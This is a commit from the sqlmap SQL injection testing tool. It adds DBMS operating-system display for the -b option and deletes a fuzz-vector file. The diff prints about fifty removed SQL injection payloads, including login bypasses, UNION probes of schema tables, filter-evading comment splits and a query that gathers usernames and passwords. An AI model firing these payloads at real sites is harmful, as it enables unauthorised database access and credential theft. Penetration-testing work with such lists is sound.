Minor enhancement to show the DBMS operating system (if fingerprinted)

also when only -b option is provided since it's an information that
sqlmap get parsing the DBMS banner.
Got rid completely of useless passive fuzzing.

txt/fuzz_vectors.txt

@@ -1,51 +0,0 @@
-'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
-||6
-'||'6
-(||6)
-' OR 1=1-- 
-OR 1=1
-' OR '1'='1
-; OR '1'='1'
-%22+or+isnull%281%2F0%29+%2F*
-%27+OR+%277659%27%3D%277659
-%22+or+isnull%281%2F0%29+%2F*
-%27+--+
-' or 1=1--
-" or 1=1--
-' or 1=1 /*
-or 1=1--
-' or 'a'='a
-" or "a"="a
-') or ('a'='a
-Admin' OR '
-'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
-) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
-' having 1=1--
-' having 1=1--
-' group by userid having 1=1--
-' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
-' or 1 in (select @@version)--
-' union all select @@version--
-' OR 'unusual' = 'unusual'
-' OR 'something' = 'some'+'thing'
-' OR 'text' = N'text'
-' OR 'something' like 'some%'
-' OR 2 > 1
-' OR 'text' > 't'
-' OR 'whatever' in ('whatever')
-' OR 2 BETWEEN 1 and 3
-' or username like char(37);
-' union select * from users where login = char(114,111,111,116);
-' union select 
-Password:*/=1--
-UNI/**/ON SEL/**/ECT
-'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-'; EXEC ('SEL' + 'ECT US' + 'ER')
-'/**/OR/**/1/**/=/**/1
-' or 1/*
-+or+isnull%281%2F0%29+%2F*
-%27+OR+%277659%27%3D%277659
-%22+or+isnull%281%2F0%29+%2F*
-%27+--+&password=
-'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > 
- @var select @var as var into temp end --